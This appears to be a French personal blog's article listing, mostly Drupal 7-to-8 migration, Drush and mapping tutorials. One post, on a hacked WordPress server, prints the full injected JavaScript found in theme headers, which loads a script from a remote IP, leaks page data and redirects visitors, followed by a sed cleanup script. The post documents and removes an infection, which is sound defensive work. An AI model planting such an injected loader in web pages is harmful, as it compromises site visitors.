Message d'avertissement

The subscription service is currently unavailable. Please try again later.

Articles de l'utilisateur

Par vincent59
Vincent Liefooghe

Migration Media et Images Inline

Migration Media et Images Inline

Dans la série d'articles sur la migration de mon site https://www.vincentliefooghe.net/content/migration-drupal-7-vers-drupal-8 j'en viens maintenant à une partie qui m'a pris pas mal de temps et demandé un peu de développement.

Sur mon site en Drupal 7, j'avais utilisé le module Media_Wysiwyg et Colorbox, qui me permettaient d'insérer des images directement dans le texte.

Je n'ai pas trouvé d'équivalent sous Drupal 8, mais en utilisant comme format d'affichage "Colorbox" pour le champ media_image, ceci répond à mon besoin : ouvrir un champ image dans une "lightbox".

Image
Définition du format d'affichage Media Image

Il reste donc à convertir les fichiers en média, et ensuite à convertir, dans le corps du texte de chaque contenu, les tags "colorbox" en tags "drupal media".

Création des Media liés aux fichiers

Lors de la migration, les fichiers ont bien été importés. Par contre ils ne sont pas reconnus comme media par Drupal ,et donc pas réutilisables.

Après avoir cherché - en vain - des modules qui géraient ceci, j'ai fini par passer par un bout de programme PHP qui utilise les fonctions de Drupal pour réaliser cette opération.

Le code php est le suivant :

query("select * from file_managed where filemime like 'image%'")->fetchAll();

foreach ($results as $file ) {
  echo "File name:",$file->filename," Id : ",$file->fid," mime : ",$file->filemime," uid : ",$file->uid;
  echo "Creation du Media Image pour ",$file->filename,PHP_EOL;
  $media = Media::create([
  'bundle' => 'image',
  'uid' => $file->uid,
  'langcode' => $file->langcode,
  'field_media_image' => [
    'target_id' => $file->fid,
    'alt' => $file->filename
   ]

  ]);

  $media->setPublished(TRUE);
  $retour=$media->save();

  if ( $retour != 1 ) {
    echo "Retour KO ? ",$retour,PHP_EOL;
  }

}

return (TRUE);

 

On peut le lancer avec drush, via la commande :

 

drush --uri=drupal.loc scr /chemin/vers/mon/fichier.php

Après cette étape, on récupère bien dans la librairies de media tous les fichiers

Reprise des images inline

 

Pour convertir les tags, j'ai développé un programme PHP qui va remplacer les instructions inline Colorbox, par exemple

[[{"type":"media","view_mode":"colorbox","fid":"88","attributes":{"alt":"","class":"media-image","height":"300","typeof":"foaf:Image","width":"494"}}]]

par

Le script sera lancé avec en paramètre le Node Id à traiter :

php mediaInline.php -i nid

Par exemple

php mediaInline.php -i 136

Note : j'ai fait le choix de traiter les contenus un par un. Au total, j'avais identifié une vingtaine d'articles concernés. La migration unitaire me permettait de vérifier le traitement pour chacun.

Afin de voir le résultat, il faut vider le cache Drupal avec la commande :

drush cr

 

vincentl
lun 20/04/2020 - 21:54

Catégorie

Ajouter un commentaire

Par vincent59
Vincent Liefooghe

Migration avec le module migrate_upgrade

Migration avec le module migrate_upgrade

Installation et activation des modules Drush requis

On va installer les 2 modules suivants : migrate_upgrade, migrate_tools.

composer require drupal/migrate_upgrade composer require drupal/migrate_tools 

Puis activer les modules :

drush pm:enable migrate_upgrade migrate_tools -y 

Dans le fichier settings.php , il faut ajouter la définition de la base source.

Important : elle doit s'appeler migrate.

Par exemple :

$databases['migrate']['default'] =
  array ( 'database' => 'dbdrupal7',
  'username' => 'user_drupal7',
  'password' => 'mdp_drupal7',
  'prefix' => '',
  'host' => 'localhost',
  'port' => '3306',
  'namespace' => 'Drupal\\Core\\Database\\Driver\\mysql',
  'driver' => 'mysql'
);

Générer la migration Drupal 7 vers Drupal 8

Dans la version que j'ai installé, on peut utiliser migrate_upgrade pour générer les scripts de migration, qui seront lancés avec drush.

Prérequis

Attention : à cause d'une incompatibilité avec drush 10, cette fonction nécessite que l'on modifie le fichier vendor/drush/drush/includes/drush.inc pour ajouter la définition de drush_print :

function drush_print($message = '', $indent = 0, $handle = NULL, $newline = TRUE) {
  $msg = str_repeat(' ', $indent) . (string)$message;
  if ($newline) {
    $msg .= "\n";
  }
  if (($charset = 'UTF-8' ) && function_exists('iconv')) {
    $msg = iconv('UTF-8', $charset, $msg);
  }
  if (!$handle) {
    $handle = STDOUT;
  }

  fwrite($handle, $msg);

}

 

Sinon on a le message :

drush migrate-upgrade --legacy-db-key=migrate --configure-only [error] Error: Call to undefined function drush_get_option() in drush_print()

Lancer la commande avec le chemin vers le répertoire source "legacy", ce qui permet de migrer les fichiers également :

drush migrate-upgrade --legacy-db-key=migrate --legacy-root /var/www/drupal7/vincentl --migration-prefix=upg1_ --configure-only

On peut ensuite voir le résultat avec la commande drush migrate-status

Et on peut lancer la migration avec :

drush migrate:import upg1_d7_taxonomy_vocabulary
drush migrate:import upg1_d7_taxonomy_term_categorie
drush migrate:import upg1_d7_taxonomy_term_tags
drush migrate-import --group=migrate_drupal_7

Note : je lance d'abord les migrations de taxonomie pour que la génération des liens de menu se passe correctement. Comme dit précédemment, le processus est assez itératif et a demandé plusieurs essais avant de trouver les bons réglages.

Après cette étape, le contenu a été migré, ainsi que les types de contenu, les menus, etc.

Il reste à faire quelques mises au point et reprise de paramétrage sur les formats de texte (insertion du bouton media par exemple), ainsi que refaire le thème, et traiter le cas des images inline.

 

vincentl
lun 20/04/2020 - 21:42

Catégorie
Tag

Ajouter un commentaire

Par vincent59
Vincent Liefooghe

Processus de migration vers Drupal 8

Processus de migration vers Drupal 8

Processus de migration

Le processus de migration a été testé plusieurs fois. Je suis parti sur la base d'une sauvegarde du site Drupal 7 (fichiers + base de données).

J'ai installé ça dans un container LXC sur mon PC, ce qui me permettra de supprimer tout cela une fois la migration terminée.

Au final, on a donc un container sous Debian 10 avec PHP 7.3.11 et une base MariaDB 10.1.

L'idée est donc la suivante :

  • création d'une base de données pour Drupal 8
  • installation d'un site en Drupal 8, en mode "standard", mais sans contenu
  • installation et activation des modules portés sous Drupal 8
  • installation et activation des modules de migration
  • lancement de la migration des contenus
  • reprise des média et de leur affichage (la migration ne gère pas ce point a priori)
  • ajustements manuels / reparamétrage dans la cible D8.

Le processus a été fait de manière itérative, je m'y suis repris à 3 ou 4 fois avant d'avoir un processus qui tienne la route.

Installation Drupal 8

Une fois la base de données créée, on procède à l'installation de Drupal 8.

A la date d'installation, la version est Drupal 8.8.5.

Il est maintenant fortement recommandé d'utiliser composer pour installer et mettre à jour Drupal.

Sachant que même l'installation de modules utilise composer, c'est la solution que j'ai utilisé. C'est d'ailleurs très pratique quand on refaire plusieurs fois la même installation, puisqu'une fois le fichier _composer.json _ généré, il est possible de s'en resservir.

Mon fichier comprend les modules suivants :

"repositories": [<br />
  { "type": "composer",<br />
  "url": "https://packages.drupal.org/8" }<br />
 ],<br />
"require": {<br />
  "composer/installers": "^1.2",<br />
  "drupal/colorbox": "^1.4",<br />
  "drupal/core-composer-scaffold": "^8.8",<br />
  "drupal/core-project-message": "^8.8",<br />
  "drupal/core-recommended": "^8.8",<br />
  "drupal/honeypot": "^1.30",<br />
  "drupal/pathauto": "^1.6",<br />
  "drupal/tagclouds": "^1.0",<br />
  "drupal/token": "^1.6",<br />
  "drupal/xmlsitemap": "^1.0@RC",<br />
  "drush/drush": "^10.2" },

On remarquera que drush est installé en même temps que Drupal.

Une fois le répertoire d'installation créé, et le fichier composer.json copié dans ce répertoire, l'installation se fait simplement :

composer install

A ce niveau, on peut déjà accéder au nouveau site (il faut auparavant avoir paramétré le virtualhost qui pointe sur le bon répertoire), entrer les paramètres de la base de données. J'ai personnellement choisi d'installer uniquement le français, car je ne vais pas gérer le multilingue.

Comme le site sera migré, on peut s'arrêter avant la configuration du site.

L'étape suivante est de préparer et lancer la migration.

 

 

vincentl
dim 19/04/2020 - 12:45

Catégorie
Tag

Ajouter un commentaire

Par vincent59
Vincent Liefooghe

Migration Drupal 7 vers Drupal 8

Migration Drupal 7 vers Drupal 8

Après plusieurs années sous Drupal 7, et l'arrivée imminente de Drupal 9, il était temps pour moi de migrer mon site sur Drupal 8, d'autant que les dernières versions ont maintenant des utilitaires de migration.

Situation initiale

Mon site perso n'est pas très complexe, ni au niveau contenu (environ 200 articles) ni au niveau modules Drupal.

La version utilisée est Drupal 7.69.

En plus des modules du "core", j'utilise des choses plutôt classiques :

  • ctools (pré-requis pour pas mal de choses)
  • blog (a disparu de la V8, c'est un type de contenu comme les autres)
  • media et media_wysiwyg (pour insérer les images dans le contenu)
  • colorbox (pour afficher les images dans une box en surimpression)
  • pathauto (permet de générer automatiquement un alias)
  • botcha (comme anti-spam)
  • tagclouds (affiche les tags sous forme de nuage)
  • xmlsitemap

Le thème est un développement custom, basé sur Adaptative Theme. Il sera à refaire.

Dans tout ça, les seuls module non portés en D8 et pour lesquels il faudra trouver une alternative sont media_colorbox et botcha.

Pour l'antispam, j'ai opté pour le module honeypot, et pour media_colorbox, le paramétrage de l'affichage pour les médias de type image va suffire.

Côté volumétrie, on a :

  • 159 fichiers
  • 199 articles
  • 4 "books" (série d'articles sur le même sujet)
  • 64 commentaires.

On utilise 2 langues : français et anglais (9 en anglais, le reste en français ou neutre).

Préparation du site sous Drupal 7

Afin de simplifier la migration, je vais changer la langue des articles en anglais pour les assigner au français ou au neutre.

Pour les alias d'URL, même modification (on assigne tout au "All languages").

Vu la faible volumétrie, je fais cela directement via l'interface web de Drupal, ce qui me permet de m'assurer que tous les champs sont correctement mis à jour.

Suite aux tests effectués, j'ai aussi modifié le champ field_alt_text pour enlever colorbox_link du mode d'affichage.

Les différentes étapes de la migration seront détaillées dans la suite de cette série d'articles, avec les problèmes que j'ai pu rencontrer.

 

Vincent
dim 19/04/2020 - 12:40

Catégorie

Ajouter un commentaire

Par vincent59
Vincent Liefooghe

Hack de sites Wordpress avec jquery.min.php

Depuis quelques jours, je recevais des mails de monit, indiquant un load average trop élevé sur un serveur dont je m'occupe épisodiquement (serveur de l'association Down Up).Cela m'a semblé curieux, car il  s'agit d'un serveur dédié OVH, avec un Xeon 8 coeurs, et 64 Go de RAM, qui héberge uniquement quelques sites web.Ayant eu dans le temps des problèmes de piratage de sites, j'ai regardé le nombre de messages dans la file postfix :
mailq

Oups ! plus de 23 000 messages en attente, rejetés par les plates-formes cibles.Dans les messages, le nom de l'un des sites apparaît. Il s'agit d'un Wordpress, dans une version assez ancienne. Dans les différents répertoire, on découvre des fichiers php infectés, traînant un peu partout, avec la même date : 16 novembre. Ce qui veut dire que depuis plusieurs jours, la machine est infectée.Je supprime les fichiers php infectés, et teste l'accès au site, qui semble fonctionner, mais qui redirige vers  des sites pour adultes...En y regardant plus précisément, d'autres sites ont le même comportement, alors qu'aucun nouveau fichier ne date de novembre ; pas de fichiers curieux non plus.Une recherche sur Google me donne quelques pistes. Je fouille également dans mes cookies, pour découvrir un cookie nommé __cfgoid. La recherche dans les fichiers de Wordpress me sort tous les fichiers header.php des thèmes.Une ligne de javascript a été insérée dans les fichiers : 


<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCS
tring();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(va
r e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__
cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascr
ipt" src="/%27%20%2B%20%27http%3A//80.90.43.202/js/jquery.min.php%27%20%2B%20%27?key=b64%27%20%20%20%27&utm_campaign=%27%20%20%20%27snt2014%27%20%20%20%27&utm_source=%27%20%20%20window.location_.host%20%20%20%27&utm_medium=%27%20%20%20%27&utm_content=%27%20%20%20window.location%20%20%20%27&utm_term=%27%20%20%20encodeURIComponent%28%28%28k%3D%28function%28%29%7Bvar%20keywords%20%3D%20%27%27%3Bvar_%20metas%20%3D%20document.getElementsByTagName%28%27meta%27%29%3Bif%20%28metas%29%20%7Bfor%20%28var%20x%3D0%2Cy%3Dmetas.length%3B%20x%3Cy%3B%20x%20%20%29%20%7Bif%20%28metas%5Bx%5D.name.toLowerCase%28%29%20%3D_%3D%20"keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(
/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><'
+ '/script>')));</script>
</head>

Il suffit de supprimer la ligne pour nettoyer les entêtes. J'ai développé pour cela un script shell de quelques lignes :

#!/bin/bash
# Recherche les fichiers infectes
BADFILE=$(grep -lR jquery.min.php *)
#
# pour chacun
for fic in $BADFILE ; do
  echo === Traitement de $fic ===
  echo sed -i.bak '/cfgoid/d' $fic
  sed -i.bak '/cfgoid/d' $fic
done

Le script recherche d'abord la chaine jquery.min.php dans tous les fichiers des sous-répertoires, puis pour chacun supprime la ligne contenant le nom du cookie.Un arrêt / relance du serveur http Apache permet de vider le cache php...Après nettoyage, je vais modifier les permissions pour interdire l'écriture dans les répertoires de thèmes Wordpress.Le fait que les fichiers php puissent être utilisés un peu partout dans Wordpress ne rendent pas les choses faciles.Si on compare à Drupal, dans ce dernier, seul le fichier index.php doit être appelé directement. L'appel d'un autre script php peut donc être refusé, ce qu'on fait facilement avec des règles nginx...      

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Créer une vue Drupal sur un type de contenu, pour tous les auteurs ou moi seulement

J'ai eu récemment un besoin qui semble assez simple à première vue : pour un type de contenu spécifique, je voulais ajouter dans Views un filtre exposé me permettant de sélectionner tous les contenus ou seulement ceux dont j'étais l'auteur.

A priori, il suffit de créer une relation de type "Contenu: Auteur", et l'utiliser dans un filtre exposé sur l'utilisateur Actuel.

Sauf que... ceci me donne 2 options : les contenus de l'utilisateur actuel (les miens) ou les autres (pas les miens).

J'ai cherché pas mal de manière de faire, jusqu'à tomber sur une discussion qui parlait du module "Composite Views Filter", qui m'a finalement permis de faire ce que je voulais.

Création de la vue avec la relation Contenu : Auteur

Pour cela on crée une vue (Structure / Vue / Ajouter).

On lui donne un nom, et on va afficher les contenus de type "Signalement", puis on clique sur Continue & Edit. On ajoute les champs qui nous intéressent : pour la démo, ce sera le titre du contenu, l'UID de l'auteur et la date.

Puis on va ajouter une relation. Pour cela déplier "Avancé", et choisir Ajouter sur les Relations.

On choisit alors la relation Contenu / Auteur : c'est celle qui nous intéresse.

On modifie l'identiiant (par défaut c'est "author", je vais mettre Auteur). Puis on confirme en cliquant sur "Appliquer (tous les affichages).

A ce stade, la preview donne le tableau avec tous les auteurs :

Première tentative avec un filtre exposé sur l'auteur

On ajoute un filtre exposé (FILTER CRITERIA / Ajouter). On va sélectionner "Utilisateur : Actuel" :

Dans l'écran suivant, on choisit la relation que l'on a défini auparavant. On définit le filtre comme exposé, afin de laisser l'utilisateur choisir sa valeur.

Remarque : j'utilise Better Exposed Filter, qui ajoute une valeur "-Tous-", mais qui ne peut pas être sélectionnée par défaut.

Au final, les options sont réduites à Oui et Non :

Pas possible donc dans ce cas d'avoir mes contenus (correspondant à UID = 1) ou tous. Lorsqu'on sélectionne l'option Non, on a les autres contenus, mais pas le sien...

J'ai donc commencé à regarder du côté du développement Views, avant d'avoir vent du module Composite Views Filter.

Deuxième essai avec le module Composite Views Filter

Ce module nécessite d'être téléchargé et activé. Comme d'habitude, je fais cela avec Drush :

drush dl composite_views_filter
drush en -y composite_views_filter

Ensuite, il faut ajouter un filtre exposé de type "Global : Composite Filter".

On va ensuite donner les propriétés de ce filtre : une étiquette, et une description (optionnelle).  Ensuite, dans Groups, une liste de champs de type clé|valeur, qui seront utilisés par la suite.

Pour terminer, on donne un libellé pour "Tous". Dans l'option "Plus", il faut aussi donner un ID au filtre.

A ce stade, on a un nouveau filtre exposé, mais qui n'est pas actif. Il reste une étape : créer un filtre qui utilise ce filtre global. Pour cela, on ajoute un nouveau filtre, sur l'utilisateur Actuel :

On valide via le bouton "Appliquer (tous les affichages)". C'est à ce niveau que le groupe défini auparavant peut être utilisé. On sélectionne la valeur correspondant au libellé saisi.

Le filtre exposé est alors actif. Si on sélectionne l'option "Mes contenus uniquement", on a bien les contenus de l'UID = 1 :

Si on sélectionne "Tous les utilisateurs" on a la totalité des UID :

On sauvegarde la vue, et le tour est joué.

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Importer et tenir à jour les traductions Drupal avec Drush

Lorsqu'on utilise Drupal, drush est un outil qui permet de gagner beaucoup de temps.Par exemple, pour mettre à jour les traductions des différents modules d'un site, on peut passer par l'interface, mais ceci suppose d'aller télécharger chaque fichier de traduction.Avec drush, quelques lignes de commandes suffisent :
# Telechargement du module drush_language (c'est une fonctionnalité additionnelle de drush)
drush dl drush_language
# Téléchargement du module Drupal l10n_update
drush dl l10n_update
# Activation de ce module
drush en -y l10n_update
# Ajout du langage "fr" pour le Français
drush language-add fr
# Activation de la langue fr
drush language-enable fr
# On nettoie le cache
drush clear-cache drush
# On fait une vérification des traductions
drush l10n-update-refresh
# On lance la mise à jour des traductions
drush l10n-update

La dernière commande va télécharger les fichiers de traduction, et les importer dans la foulée.Exemple sur un site réel :

drush l10n-update
Fetching update information for all projects / all languages.                                      [status]
Found 19 projects to update.                                                                       [status]
Mise à jour des traductions                                                                       [status]
                                                                                                   [status]
Traduction de better_exposed_filters vérifiée.                                                   [ok]
Traduction de colorbox vérifiée.                                                                 [ok]
Traduction de colorbox_node vérifiée.                                                            [ok]
Traduction de ctools vérifiée.                                                                   [ok]
Traduction de date vérifiée.                                                                     [ok]
Traduction de drupal vérifiée.                                                                   [ok]
Traduction de email vérifiée.                                                                    [ok]
Traduction de entity vérifiée.                                                                   [ok]
Traduction de entityreference vérifiée.                                                          [ok]
Traduction de eu_cookie_compliance vérifiée.                                                     [ok]
Traduction de field_formatter_settings vérifiée.                                                 [ok]
Traduction de field_group vérifiée.                                                              [ok]
Traduction de field_permissions vérifiée.                                                        [ok]
Traduction de geocoder vérifiée.                                                                 [ok]
Traduction de geofield vérifiée.                                                                 [ok]
Traduction de geofield_gmap vérifiée.                                                            [ok]
Traduction de geophp vérifiée.                                                                   [ok]
Traduction de hybridauth vérifiée.                                                               [ok]
Traduction de ip_geoloc vérifiée.                                                                [ok]
Traduction de l10n_update vérifiée.                                                              [ok]
Traduction de leaflet vérifiée.                                                                  [ok]
Traduction de leaflet_markercluster vérifiée.                                                    [ok]
Traduction de leaflet_more_maps vérifiée.                                                        [ok]
Traduction de libraries vérifiée.                                                                [ok]
Traduction de media vérifiée.                                                                    [ok]
Traduction de memcache_storage vérifiée.                                                         [ok]
Traduction de pathauto vérifiée.                                                                 [ok]
Traduction de role_delegation vérifiée.                                                          [ok]
Traduction de select_or_other vérifiée.                                                          [ok]
Traduction de services vérifiée.                                                                 [ok]
Traduction de token vérifiée.                                                                    [ok]
Traduction de views vérifiée.                                                                    [ok]
Traduction de views_data_export vérifiée.                                                        [ok]
Traduction de wysiwyg vérifiée.                                                                  [ok]
Traduction du module colorbox_node téléchargée.                                                 [ok]
Traduction de colorbox_node importée.                                                             [ok]
Traduction du module ctools téléchargée.                                                        [ok]
Importation de la traduction de ctools. (6%).                                                      [ok]
Importation de la traduction de ctools. (16%).                                                     [ok]
Importation de la traduction de ctools. (35%).                                                     [ok]
Importation de la traduction de ctools. (54%).                                                     [ok]
Importation de la traduction de ctools. (75%).                                                     [ok]
Importation de la traduction de ctools. (88%).                                                     [ok]
Traduction de ctools importée.                                                                    [ok]
Traduction du module date téléchargée.                                                          [ok]
Importation de la traduction de date. (28%).                                                       [ok]
Importation de la traduction de date. (72%).                                                       [ok]
Traduction de date importée.                                                                      [ok]
Traduction du module drupal téléchargée.                                                        [ok]
Importation de la traduction de drupal. (1%).                                                      [ok]
Importation de la traduction de drupal. (2%).                                                      [ok]
Importation de la traduction de drupal. (3%).                                                      [ok]
Importation de la traduction de drupal. (5%).                                                      [ok]
Importation de la traduction de drupal. (7%).                                                      [ok]
Importation de la traduction de drupal. (9%).                                                      [ok]
Importation de la traduction de drupal. (12%).                                                     [ok]
Importation de la traduction de drupal. (15%).                                                     [ok]
Importation de la traduction de drupal. (18%).                                                     [ok]
Importation de la traduction de drupal. (20%).                                                     [ok]
Importation de la traduction de drupal. (25%).                                                     [ok]
Importation de la traduction de drupal. (30%).                                                     [ok]
Importation de la traduction de drupal. (33%).                                                     [ok]
Importation de la traduction de drupal. (39%).                                                     [ok]
Importation de la traduction de drupal. (46%).                                                     [ok]
Importation de la traduction de drupal. (52%).                                                     [ok]
Importation de la traduction de drupal. (59%).                                                     [ok]
Importation de la traduction de drupal. (66%).                                                     [ok]
Importation de la traduction de drupal. (73%).                                                     [ok]
Importation de la traduction de drupal. (79%).                                                     [ok]
Importation de la traduction de drupal. (86%).                                                     [ok]
Importation de la traduction de drupal. (92%).                                                     [ok]
Importation de la traduction de drupal. (95%).                                                     [ok]
Traduction de drupal importée.                                                                    [ok]
Traduction du module entity téléchargée.                                                        [ok]
Importation de la traduction de entity. (58%).                                                     [ok]
Traduction de entity importée.                                                                    [ok]
Traduction du module entityreference téléchargée.                                               [ok]
Traduction de entityreference importée.                                                           [ok]
Traduction du module eu_cookie_compliance téléchargée.                                          [ok]
Traduction de eu_cookie_compliance importée.                                                      [ok]
Traduction du module field_formatter_settings téléchargée.                                      [ok]
Traduction de field_formatter_settings importée.                                                  [ok]
Traduction du module field_group téléchargée.                                                   [ok]
Traduction de field_group importée.                                                               [ok]
Traduction du module field_permissions téléchargée.                                             [ok]
Traduction de field_permissions importée.                                                         [ok]
Traduction du module geofield téléchargée.                                                      [ok]
Traduction de geofield importée.                                                                  [ok]
Traduction du module ip_geoloc téléchargée.                                                     [ok]
Traduction de ip_geoloc importée.                                                                 [ok]
Traduction du module l10n_update téléchargée.                                                   [ok]
Traduction de l10n_update importée.                                                               [ok]
Traduction du module leaflet téléchargée.                                                       [ok]
Traduction de leaflet importée.                                                                   [ok]
Traduction du module media téléchargée.                                                         [ok]
WD l10n_update: Import of string "Ce processus est requis lors de l'installation de media sur un   [error]
site existant. Media nécessite de scanner les fichiers existants et d'identifier le type de
fichier. Mettre à jour les types de fichier pour les fichiers @file ?>" was skipped because of
disallowed or malformed HTML.
Importation de la traduction de media. (95%).                                                      [ok]
Traduction de media importée.                                                                     [ok]
Traduction du module memcache_storage téléchargée.                                              [ok]
Traduction de memcache_storage importée.                                                          [ok]
Traduction du module select_or_other téléchargée.                                               [ok]
Traduction de select_or_other importée.                                                           [ok]
Traduction du module views téléchargée.                                                         [ok]
Importation de la traduction de views. (3%).                                                       [ok]
Importation de la traduction de views. (7%).                                                       [ok]
Importation de la traduction de views. (16%).                                                      [ok]
Importation de la traduction de views. (25%).                                                      [ok]
Importation de la traduction de views. (39%).                                                      [ok]
Importation de la traduction de views. (50%).                                                      [ok]
Importation de la traduction de views. (64%).                                                      [ok]
Importation de la traduction de views. (76%).                                                      [ok]
Importation de la traduction de views. (90%).                                                      [ok]
Traduction de views importée.                                                                     [ok]
Traduction du module views_data_export téléchargée.                                             [ok]
Traduction de views_data_export importée.                                                         [ok]
WD l10n_update: 1 disallowed HTML string(s) in files: translations://media-7.x-1.4.fr_0.po.        [warning]
19 translation files imported. 1732 translations were added, 0 translations were updated and 0     [status]
translations were removed.
One translation string was skipped because of disallowed or malformed HTML. See the log for        [warning]
details.

La commande drush a pris quelques minutes à peine, pour importer 19 fichiers...Quand je vous dis que c'est un outil magique ! 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Cartographie Drupal : Views + Geofield Map

Dans les articles précédents (stockage des données notamment) , nous avons vu comment ajouter un champ de type Geofield et l'afficher sous forme de carte.

Nous allons voir ici comment afficher plusieurs points sur une seule carte. Pour cela, nous devons juste installer Views, et activer les modules Views, Views UI et Geofield Map.

drush dl views
drush en views views_ui geofield_map

Création de la vue

Il faut ensuite créer une vue. Pour cela, on va dans Structure /  Vues, puis on va ajouter une vue (admin/structure/views/add). Nous allons nous baser sur le type de contenu créé auparavant,  qui contient un champ Geofield. On donne un nom à la vue, puis on sélectionne le type de contenu (Magasin). On peut créer un block, sur la base d'une liste de champs (Unformatted list of fields).

Si on veut on peut également créer une page, tout dépend de ce que l'on veut faire.

On clique ensuite sur Continue & Edit pour continuer la création de la vue.

Choix des champs

Par défaut, seul le titre est affiché :

Il faut alors cliquer sur "Add", puis choisir le champ Coordonnées qui est de type Geofield.

 

On supprime l'affichage du libellé, et on laisse les valeurs par défaut (y compris le formatter en Well Known Text). En effet c'est dans le type de formatage global que l'on choisira Google Map.

On valide tout cela. Dans les chjamps, on doit donc avoir Title et Coordonnées.

Choix du format d'affichage

A ce stade, on a uniquement le titre et les coordonnées. Rien de très sympathique. Il faut alors changer le format de la vue :

A ce niveau, on peut choisir "Geofield Map" :

On valide en cliquant sur "Apply". On peut alors choisir quel champ sert de source. On va choisir le champ field_coordonnees que l'on vient d'ajouter à notre vue :

On peut laisser les valeurs par défaut dans un premier temps. Si on se rend à l'url de la vue, on a un premier résultat :

Si on clique sur l'un des marqueurs, le titre apparaît.

Amélioration de l'affichage

En modifiant la vue on peut facilement :

  • Ajouter des informations dans la Pop-Up
  • Permettre le scroll dans la carte (ScrollWheel)
  • Mettre un niveau de zoom par défaut (Zoom / Zoom minimum et maximum)

Dans l'exemple, la hauteur de la carte a été modifiée à 450 pixels, et on a mis la description plutôt que le titre dans la pop-up.

C'est globalement la limite du couple Views + Geofield Map, qui offre un premier niveau de formatage, sans beaucoup de souplesse.

On peut aller plus loin, avec d'autres modules. Ceci fera l'objet d'un autre article.

 

 

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Cartographie Drupal : utilisation de AddressField + Geocoder

Dans la série Cartographie, nous avons vu auparavant quels modules utiliser pour stocker les données géographiques, et les présenter de manière simple.

Cependant, à ce stade la saisie d'une adresse n'était possible que via ses coordonnées géographiques, ou sur une carte.

Si on veut coupler la saisie d'une adresse et l'encodage, on peut utiliser 2 modules complémentaires :

  • Address Field : très utilisé dans Drupal Commerce, il permet de fournir un champ de saisie des adresses, de manière normalisée, avec un formulaire propre au pays
  • Geocoder : couplé avec Address Field, il pemettra d'encoder l'adresse pour la transformer en coordonnées géographiques.

A priori, il semble qu'il faille également installer le module Entity, sinon on a des messages d'erreur de type :

PHP Fatal error:  Call to undefined function entity_get_all_property_info() in /var/www/drupal/sites/all/modules/contrib/geocoder/geocoder.widget.inc on line 89

L'installation des modules s'effectue normalement. Par exemple avec drush :

drush dl geocoder addressfield entity
drush en geocoder addressfield entity

Address Field

Imaginons que nous voulions gérer des magasins dans plusieurs pays : France, Belgique, Suisse. Nous allons créer un type de contenu Magasin, avec un Nom, une description et y ajouter un champ Adresse :

Au niveau du Widget, on pourra alors sélectionner les pays : Belgium, France, Switzerland (pour la démo, j'utilise un site en anglais). Et définir la France comme pays par défaut.

En saisie, on a alors le formulaire qui s'affiche, avec la France comme pays par défaut :

Mais à ce stade, l'adresse est uniquement affichée de manière textuelle, car nous n'avons pas encore introduit l'encodage :

Geofield + Encodage

Pour permettre la cartographie, il faut donc un champ qui stocke les coordonnées géographiques (apporté par Geofield). Le fait d'avoir ajouté le module Geocoder permet d'ajouter une option dans les Widgets :

Lorsqu'on ajoute un champ de type Geofield, on peut alors sélectionner le widget de type "Geocode from another field". Au niveau des paramètres du champ, on laisse le défaut.

On va ensuite choisir quel champ sera utilisé comme base de géocoding, et le "moteur" à utiliser. Plusieurs choix sont possibles :

Dès lors, lorsqu'on saisit une adresse, celle-ci est envoyée au service de géocodage. Les coordonnées sont bien récupérées. Dans l'exemple ci-après, elles sont juste affichées au format WKT.

En effet, le paramétrage de l'affichage du champ est le suivant :

Conclusion

Nous avons vu dans cet article comment utiliser les modules AddressField, Geocoder, Geofield et Entity pour ajouter un champ de type adresse et un champ de type Geofield sur un type de contenu, et récupérer les coordonnées géographiques de l'adresse via les services de Geocodage.

Les données stockées dans le champ Geofield peuvent ensuite servir à l'affichage.

Si on modifie le type de format du champ en Dynamic Google Map par exemple :

L'affichage se présente sous la forme d'une carte :

Dans de prochains articles, nous verrons comment intégrer Views et d'autres affichages (Leaflet par exemple)

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Cartographie avec Drupal

Dans un précédent article (https://www.vincentliefooghe.net/content/cartographie-rapide-avec-drupal), j'ai montré comment on pouvait ajouter rapidement et en quelques modules des fonctions de cartographie.

Dans cet article, nous allons aller un peu plus loin dans ce domaine, avec la présentation des principes et de différents modules.

Principes et composants de la cartographie

Lorsque l'on parle de cartographie, on pense souvent à la restitution des données. Google Maps a permis de démocratiser cet aspect.
Cependant, la chaîne complète repose sur un ensemble de composants :

Pour chacun de ces composants, Drupal propose souvent plusieurs solutions, parfois incompatibles. Il convient donc de faire le bon choix afin de construire une solution globale pérenne et fonctionnelle.

Nous allons voir, dans les différentes parties de cet article, quels sont les composants / modules Drupal que nous pouvons utiliser.

Et pour ceux qui sont pressés et qui veulent rapidement mettre en oeuvre une solution, ils peuvent s'orienter vers le guide du mapping rapide, qui permet d'avoir une solution complète en installant 5 modules :

  • geophp : pré-requis pour les fonctions de géolocalisations
  • ctools : pré-requis pour geofield et views
  • geofield : stockage des données
  • geofield_gmap : widget de saisie Google Maps pour le champ geofield
  • views : pour l'affichage des différents contenus sur une seule page

Stockage des données

Pour le stockage des données géographiques, c'est geofield qui est le plus utilisé et le plus supporté.
Il nécessite en pré-requis les modules geophp et ctools.

L'installation et l'activation du module via drush consiste donc en :

drush dl ctools geophp geofield

Project ctools (7.x-1.9) downloaded to sites/all/modules/ctools.                                          [success]
Project ctools contains 10 modules: term_depth, ctools_access_ruleset, views_content, page_manager, bulk_export, stylizer, ctools_ajax_sample, ctools_custom_content, ctools_plugin_example, ctools.
Project geophp (7.x-1.7) downloaded to sites/all/modules/geophp.                                          [success]
Project geofield (7.x-2.3) downloaded to sites/all/modules/geofield.                                      [success]
Project geofield contains 2 modules: geofield_map, geofield.

drush en -y ctools geophp geofield
